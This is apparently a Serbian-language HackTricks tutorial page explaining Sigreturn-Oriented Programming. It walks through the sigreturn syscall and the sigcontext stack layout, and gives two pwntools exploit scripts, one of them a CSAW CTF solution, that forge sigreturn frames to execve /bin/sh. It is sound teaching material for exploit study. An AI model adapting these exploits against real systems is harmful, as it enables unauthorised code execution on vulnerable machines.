SROP - Sigreturn-Oriented Programming

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

Sigreturn je poseban sistemski poziv (syscall) koji se uglavnom koristi za čišćenje nakon što je rukovalac signala završio svoje izvršavanje. Signali su prekidi koje operativni sistem šalje programu, često da bi ukazao da se desila neka izuzetna situacija. Kada program primi signal, privremeno pauzira svoj trenutni rad kako bi obradio signal pomoću rukovaoca signala, posebne funkcije dizajnirane za rukovanje signalima.

Nakon što rukovalac signala završi, program mora da nastavi svoje prethodno stanje kao da se ništa nije desilo. Tu dolazi do izražaja sigreturn. Pomaže programu da vrati se iz rukovaoca signala i vraća stanje programa čišćenjem okvira steka (sekcija memorije koja čuva pozive funkcija i lokalne promenljive) koji je korišćen od strane rukovaoca signala.

Interesantan deo je kako sigreturn vraća stanje programa: to čini tako što sve vrednosti registara CPU-a čuva na steku. Kada signal više nije blokiran, sigreturn izbacuje ove vrednosti sa steka, efikasno resetujući registre CPU-a na njihovo stanje pre rukovanja signalom. To uključuje registar pokazivača steka (RSP), koji pokazuje na trenutni vrh steka.

Pozivanjem sistemskog poziva sigreturn iz ROP lanca i dodavanjem vrednosti registara koje želimo da učita na stek moguće je kontrolisati sve vrednosti registara i stoga pozvati na primer sistemski poziv execve sa /bin/sh.

Primetite kako bi ovo bio tip Ret2syscall koji olakšava kontrolisanje parametara za pozivanje drugih Ret2syscall-ova:

pageRet2syscall

Ako ste radoznali, ovo je struktura sigcontext-a smeštena na steku kako bi se kasnije povratile vrednosti (dijagram sa ovde):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

Za bolje objašnjenje pogledajte i:

Primer

Možete pronaći primer ovde gde je poziv za signeturn konstruisan putem ROP-a (stavljanjem vrednosti 0xf u rxa), iako je ovo konačan eksploit od tamo:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Proverite i exploit ovde gde je binarni fajl već pozivao sigreturn i stoga nije potrebno to izgraditi sa ROP:

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

Ostali primeri i reference

Last updated